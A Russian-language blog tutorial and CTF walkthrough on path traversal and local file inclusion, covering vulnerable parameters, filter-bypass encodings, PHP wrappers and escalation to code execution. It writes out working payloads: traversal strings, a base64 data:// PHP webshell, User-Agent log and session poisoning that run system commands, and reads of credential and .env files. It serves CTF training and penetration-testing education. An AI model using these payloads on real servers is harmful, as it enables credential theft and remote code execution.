Главная / Блог / Path Traversal и LFI уязвимость CTF: от чтения /etc/passwd до выполнения кода

12 мин.00

Path Traversal и LFI уязвимость CTF: от чтения /etc/passwd до выполнения кода

Path Traversal и LFI уязвимость CTF: от чтения /etc/passwd до выполнения кода

Path Traversal и LFI уязвимость CTF: от чтения /etc/passwd до выполнения кода

На последнем CTF я убил полтора часа, ковыряя SQL-инъекцию в форме логина. Флаг лежал в /flag.txt, доступный через ../../ в GET-параметре шаблонизатора. Банальная LFI уязвимость, которую я не проверил первой. Эта ошибка стоила первого места — и я до сих пор злюсь на себя за неё. Path traversal и локальное включение файлов стабильно входят в топ-3 категорий web-задач на CTF-площадках, но русскоязычные разборы обычно ограничиваются примером с ../../../etc/passwd и на этом заканчиваются. Здесь — полный разбор: от обнаружения и обхода фильтров до цепочек LFI to RCE с реальными пейлоадами.

Место LFI в цепочке атаки: зачем это в web CTF задачах

Прежде чем фаззить параметры, стоит понять, куда вообще ведёт LFI эксплуатация в CTF-задаче. Чтение произвольных файлов — не финальная цель, а звено в цепочке. Вот как это выглядит по шагам, с привязкой к MITRE ATT&CK: Подробнее — в нашем материале про пентест веб-приложений.

Этап MITRE ATT&CK Что делаем
Обнаружение точки входа Exploit Public-Facing Application (T1190, Initial Access) Подстановка ../ в параметры запроса
Разведка файловой системы File and Directory Discovery (T1083, Discovery) Перебор путей по словарю, определение структуры сервера
Чтение конфигов и секретов Data from Local System (T1005, Collection) Извлечение .env, config.php, исходного кода
Дамп учётных данных /etc/passwd and /etc/shadow (T1003.008, Credential Access) Чтение хешей, ключей API из конфигов
Эскалация до RCE Unix Shell (T1059.004, Execution) Log poisoning, PHP wrappers с инъекцией кода
Закрепление Web Shell (T1505.003, Persistence) Запись веб-шелла через произвольную запись файлов

В типичной CTF-задаче цепочка обычно заканчивается на третьем-четвёртом шаге: прочитал файл с флагом или вытащил учётные данные. Но в задачах повышенной сложности требуется полноценный RCE, и тогда LFI — только стартовая точка.

Различие между path traversal и LFI часто вызывает путаницу. По определению OWASP, path traversal (directory traversal) — атака на файловую систему через манипуляцию путями с последовательностями ../. LFI (Local File Inclusion) — уязвимость включения локальных файлов через механизм include/require приложения, согласно описанию Invicti. На практике эти понятия пересекаются: path traversal часто используется внутри LFI для выхода за пределы целевой директории. В CTF-контексте различие влияет на то, будет ли файл просто прочитан (path traversal) или выполнен как код (LFI через include).

В CTF-задачах обе уязвимости встречаются преимущественно в PHP-приложениях (около 80% web-тасков по категории file inclusion), реже — в Python (Flask/Django с send_file), Node.js (fs.readFile) и Java. В реальных пентестах path traversal чаще встречается в API-эндпоинтах и микросервисах, но техники обхода фильтров те же.

Где искать path traversal уязвимость в web CTF задачах

Первое, что делаю при разведке CTF-таска — ищу параметры, которые принимают имена файлов. Типичные уязвимые паттерны, которые перечисляют и HackTricks, и YesWeHack:

  • Загрузка страниц: ?page=about, ?view=news, ?template=invoice
  • Скачивание файлов: ?file=report.pdf, ?doc=manual, ?download=image.png
  • Отображение логов/превью: ?path=latest.log, ?preview=template.html
  • API-эндпоинты (чаще в JSON): {"filename": "report.csv"}, {"templatePath": "invoice.html"}

Параметры для проверки по данным HackTricks: page, file, template, path, doc, folder, root, dir, img, include, inc, locate, show, site, content, document, layout, mod, conf, url, view, cat, action, board. Не исчерпывающий список, но покрывает подавляющее большинство CTF-задач.

Корень проблемы — код, который подставляет пользовательский ввод напрямую в путь файла:

<?php
$page = $_GET['page'] ?? 'home';
include('/var/www/templates/' . $page . '.php');
?>

Здесь $page контролируется через GET-параметр. Передаём ../../etc/passwd%00 (на старом PHP) или используем PHP wrapper — и получаем чтение произвольных файлов. Безопасная альтернатива — allowlist, где пользовательский ввод сопоставляется со словарём разрешённых значений, как описывает Invicti в примерах защищённого кода.

Для быстрого перебора путей использую ffuf с wordlist из SecLists (каталог Fuzzing/LFI/):

ffuf -u "http://target/page.php?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fc 403 -fs 0

Флаг -fc 403 фильтрует ответы с кодом 403, -fs 0 — пустые ответы. Остаются только те, где сервер вернул контент. YesWeHack в своём гайде по path traversal рекомендует аналогичный подход с кастомными словарями.

Автоматический фаззинг может вызвать WAF-блокировку на реальных CTF-платформах с rate limiting. На таких стендах предпочтительнее ручной перебор через Burp Repeater — отправляю запрос, модифицирую параметр, смотрю ответ. Медленнее, но не триггерит защиту.

Обход фильтров directory traversal: техники и ограничения

Большинство CTF-задач средней и высокой сложности фильтруют ввод. Наивная проверка — удаление ../ из строки. Проблема в том, что такие фильтры почти всегда обходятся. Ниже — техники с указанием, когда каждая работает, а когда нет.

Техника Пейлоад Работает когда Не работает когда
Двойная последовательность ....//....//etc/passwd Фильтр удаляет ../ нерекурсивно Рекурсивная фильтрация или WAF
URL-кодирование %2e%2e%2fetc%2fpasswd Приложение декодирует URL после проверки Канонизация пути до декодирования
Двойное кодирование %252e%252e%252f Два слоя декодирования (прокси + бэкенд) Единый слой обработки запроса
Null byte ../../../etc/passwd%00 PHP < 5.4 (legacy-стенды) PHP 5.4+, Python, Node.js, Go
Overlong UTF-8 %c0%ae%c0%ae%c0%af Legacy-парсеры, старые Java-контейнеры Современные фреймворки
Обратный слэш ..\..\etc\passwd Windows-серверы, толерантные парсеры Строгая Unix-обработка путей
Абсолютный путь /etc/passwd Нет фильтрации на ../, прямой include Проверка на абсолютный путь
Путь от существующей папки utils/scripts/../../../etc/passwd Фильтр проверяет начало строки на допустимую директорию Канонизация полного пути

Источник кодировок — документация OWASP по Path Traversal, где перечислены все варианты percent encoding, включая %2e%2e%2f для ../, %2e%2e%5c для ..\, а также двойное кодирование %252e%252e%255c.

Двойная последовательность — первое, что пробую после неудачи с базовым ../. Работает, когда код делает однократный str_replace("../", "", $input). После удаления ../ из ....// остаётся ../ — ровно то, что нужно. По данным HackTricks, это один из самых частых обходов в CTF.

URL-кодирование становится серьёзным оружием, когда запрос проходит через несколько слоёв декодирования. YesWeHack приводит пример: цепочка Nginx → Node.js → Python, где каждый слой декодирует URL. Передав %252e%252e%252f, первый слой превращает это в %2e%2e%2f, второй — в ../. Фильтр на первом слое не видит ../, потому что проверяет до декодирования.

Null byte — техника, которая работает только на legacy-стендах с PHP до версии 5.4. Запрос ../../../etc/passwd%00.php обрежет строку на %00, и приложение откроет /etc/passwd вместо /etc/passwd.php. На современном PHP бесполезна — исправлено больше десяти лет назад. Но на CTF иногда попадаются намеренно устаревшие стенды — так что держите в голове.

Мой порядок действий, когда подозреваю LFI:

  1. Пробую ../../../etc/passwd — если сработало, фильтров нет, идём дальше.
  2. Ответ пустой или ошибка — пробую ....//....//....//etc/passwd (обход нерекурсивной фильтрации).
  3. Фильтруется и это — URL-кодирование: %2e%2e%2fetc%2fpasswd.
  4. Фильтр всё ещё держит — двойное кодирование: %252e%252e%252f.
  5. Ничего не работает — проверяю, не legacy ли стенд (PHP < 5.4), и пробую null byte.
  6. Параллельно пробую абсолютный путь /etc/passwd — иногда разработчик защитил от ../, но забыл про абсолютные пути.

Весь этот перебор в Burp Repeater занимает минуты три-четыре. Если ничего не зацепилось — значит, либо фильтрация серьёзная, либо уязвимость в другом месте.

PHP wrappers для LFI эксплуатации в CTF

PHP wrappers — то, что превращает простое чтение файлов в полноценную эксплуатацию. В CTF-задачах они появляются всё чаще, потому что позволяют авторам создавать задачи с многоуровневой сложностью.

php://filter — чтение исходников без выполнения

Самый частый wrapper в CTF. Проблема с обычным LFI: если включить PHP-файл через include, он исполнится, а не покажет исходный код. Wrapper php://filter решает это — кодирует содержимое в base64, и вместо выполнения кода получаем строку, которую декодируем на своей стороне:

# Читаем исходник index.php через php://filter
curl -s "http://target/page.php?file=php://filter/convert.base64-encode/resource=index"
# Ответ: PD9waHAKJHBhZ2UgPSAkX0dFVFsncGFnZSddID8/ICdob21lJzs...
# Декодируем:
echo "PD9waHAK..." | base64 -d

Результат — полный исходный код файла. В CTF это часто даёт доступ к логике приложения, захардкоженным ключам, путям к флагу. HackTricks отмечает, что php://filter регистронезависим: PhP://FiLtEr тоже сработает — иногда помогает обойти наивные blacklist-фильтры.

Кроме convert.base64-encode доступны другие цепочки фильтров: string.rot13, string.toupper, convert.iconv.utf-8.utf-16le. Можно строить цепочки: php://filter/string.toupper|string.rot13|string.tolower/resource=/etc/passwd. В CTF это редкость, но помогает обойти WAF, который блокирует base64-encode в URL.

data:// и php://input — инъекция кода

Эти wrappers опаснее: позволяют передать свой PHP-код напрямую, без записи файла на сервер.

Запрос ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg== вставляет base64-закодированный PHP-шелл, который сервер выполнит через include. php://input работает аналогично — передаём PHP-код в теле POST-запроса.

Критическое ограничение: оба wrapper-а требуют allow_url_include = On в конфигурации PHP. По умолчанию этот параметр выключен (Off), но в CTF-задачах его часто включают специально. На рабочих серверах allow_url_include = On — редкость, хотя на legacy-инфраструктуре встречается.

Для php://filter настройка allow_url_include не нужна — он работает с дефолтной конфигурацией. Именно поэтому в CTF-задачах php://filter встречается значительно чаще. Запомните это — сэкономит время на турнире.

LFI to RCE: цепочки эскалации для web CTF writeup

Чтение файлов — полдела. Вторая половина — превращение file read в выполнение произвольного кода. Здесь разберём техники, которые работают, когда wrappers data:// и php://input недоступны.

Log poisoning через Apache/Nginx

Идея простая: HTTP-заголовок User-Agent записывается в лог веб-сервера (/var/log/apache2/access.log или /var/log/nginx/access.log). Отправляем запрос с User-Agent: <?php system($_GET['cmd']); ?>, затем подключаем лог через LFI — PHP-код из лога выполнится.

Цепочка: отправляю запрос с вредоносным User-Agent через curl -A "<?php system(\$_GET['cmd']); ?>" http://target/, затем обращаюсь к ?page=../../../var/log/apache2/access.log&cmd=cat /flag.txt. Сервер включает лог, PHP-интерпретатор находит мой код и выполняет его.

Когда не работает: процесс PHP не имеет доступа к /var/log/; на контейнеризованных стендах (Docker) логи пишутся в stdout, а не в файл; на серверах с AppArmor/SELinux путь к логам закрыт для include. В CTF эта техника встречается в задачах средней сложности — авторы специально оставляют доступ к логам.

Session poisoning

Альтернатива log poisoning. PHP хранит данные сессий в файлах — обычно в /tmp/sess_<PHPSESSID>. Если приложение записывает контролируемые данные в сессию (например, имя пользователя), можно зарегистрироваться с именем <?php system('cat /flag'); ?>, а затем подключить файл сессии через LFI.

Путь к файлу сессии: /tmp/sess_ + значение cookie PHPSESSID. Подставляем в LFI: ?page=../../../tmp/sess_abc123def456.

Когда не работает: нужно знать путь хранения сессий и иметь контроль над данными, записываемыми в сессию. Только PHP. Если session.save_handler = redis или memcached — файлов на диске нет, и вся затея бессмысленна.

/proc/self/environ

На Linux-системах файл /proc/self/environ содержит переменные окружения текущего процесса. Если HTTP-заголовки (например, User-Agent) попадают в переменные окружения (при CGI-обработке), можно подключить этот файл через LFI и выполнить инжектированный PHP-код.

Работает только при CGI/FastCGI-обработке запросов, не на mod_php. Современные конфигурации Nginx + PHP-FPM обычно не помещают HTTP-заголовки в /proc/self/environ. Техника из прошлого, но на CTF со старыми стендами — вполне живая.

Произвольная запись файлов + LFI

Если в приложении есть функция загрузки файлов (аватар, документ) с контролем имени — можно загрузить PHP-шелл с расширением .jpg, а затем подключить его через LFI. Путь до загруженного файла определяется через перебор или чтение конфига приложения (который мы уже умеем читать через тот же LFI).

По данным HackTricks, этот метод маппится на технику Web Shell (T1505.003, Persistence) — после загрузки шелла атакующий получает постоянный доступ к серверу.

Пошаговый разбор: CTF web задача от разведки до флага

Требования к окружению: - ОС: Kali Linux 2024+ или любой Linux-дистрибутив с curl - RAM: 4 ГБ минимум (8 ГБ если запускаете локальный стенд через Docker) - Инструменты: curl, Burp Suite Community Edition (актуальный релиз), ffuf 2.x (go install github.com/ffuf/ffuf/v2@latest) - Словари: SecLists (github.com/danielmiessler/SecLists, 59k+ звёзд, активно обновляется) - Сеть: VPN-подключение к CTF-платформе или доступ к локальному стенду

Разберу типичный сценарий — задача с веб-приложением, где нужно прочитать флаг.

Шаг 1. Разведка. Открываю приложение в браузере, кликаю по всем ссылкам, смотрю на URL. Нахожу параметр: http://challenge/index.php?page=about. Параметр page — кандидат на LFI.

Шаг 2. Проверка гипотезы. В Burp Repeater отправляю запрос с ?page=../../../etc/passwd. Ответ: пустой. Либо уязвимости нет, либо стоит фильтр.

Шаг 3. Обход фильтра. Пробую ?page=....//....//....//etc/passwd. Ответ: root:x:0:0:root:/root:/bin/bash.... Фильтр был нерекурсивным — удалял ../ один раз, после чего ....// превращалось в ../. Бинго.

Шаг 4. Чтение исходников. Теперь нужно понять, где флаг. Использую php://filter для чтения index.php: запрос ?page=php://filter/convert.base64-encode/resource=index. Декодирую base64, вижу в коде строку $flag_path = '/var/www/secret/flag.txt';.

Шаг 5. Извлечение флага. Отправляю ?page=....//....//....//var/www/secret/flag.txt. Ответ содержит флаг.

Весь процесс от первого запроса до флага — восемь минут. Если бы фильтр оказался сложнее — перешёл бы к URL-кодированию и двойному кодированию по порядку из раздела выше. Если бы задача требовала RCE — проверил бы доступность логов Apache и наличие allow_url_include для wrappers data:// и php://input.

Файлы, которые стоит читать первыми

Когда LFI подтверждена, перебираю целевые файлы в определённом порядке:

  1. /etc/passwd — подтверждение уязвимости, список пользователей
  2. Исходный код приложения через php://filter — логика, захардкоженные ключи, пути
  3. .env или config.php — учётные данные баз данных, API-ключи, секреты
  4. /proc/self/environ — переменные окружения, часто содержат токены
  5. /var/log/apache2/access.log — проверка возможности log poisoning для RCE
  6. /flag, /flag.txt, /home/*/flag.txt — прямой поиск флага (в CTF часто работает)

По данным YesWeHack, в облачных средах стоит проверять /var/task/index.js (AWS Lambda — раскрытие исходного кода) и /proc/self/cgroup (определение контейнерной среды).

На одном из CTF формулировка «найти секрет» затянулась на час, пока я не прочитал .bash_history пользователя через /home/ctf/.bash_history — там была команда с паролем от базы данных. Привычка проверять нестандартные файлы вырабатывается только практикой.

Скажу прямо: большинство CTF-игроков застревают не на обходе фильтров, а на этапе «что читать после /etc/passwd». Подтверждают уязвимость — и не знают, куда двигаться дальше. Причина — нет системного подхода к эскалации. В реальном пентесте LFI без понимания файловой структуры целевой ОС и технологического стека бесполезна. Обход фильтров — механическая работа, а вот чтение .env-файла вместо /etc/shadow, когда приложение работает на Django, а не на PHP — это уже навык, который не автоматизируешь wordlist-ом.

Полезнее разобрать одну задачу от начала до конца, включая тупиковые ветви, чем прочитать десять writeup-ов с готовыми пейлоадами. Writeup даёт ответ, но не даёт ход мышления: почему именно php://filter, а не data://? Почему log poisoning, а не session? Эти решения принимаются на основе контекста — версия PHP, права процесса, конфигурация allow_url_include — и никакой чит-шит этот контекст за тебя не оценит. Если хочешь не просто writeup, а пройти всю атаку самому — на WAPT эту цепочку проходят в лабах с реальными стендами.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...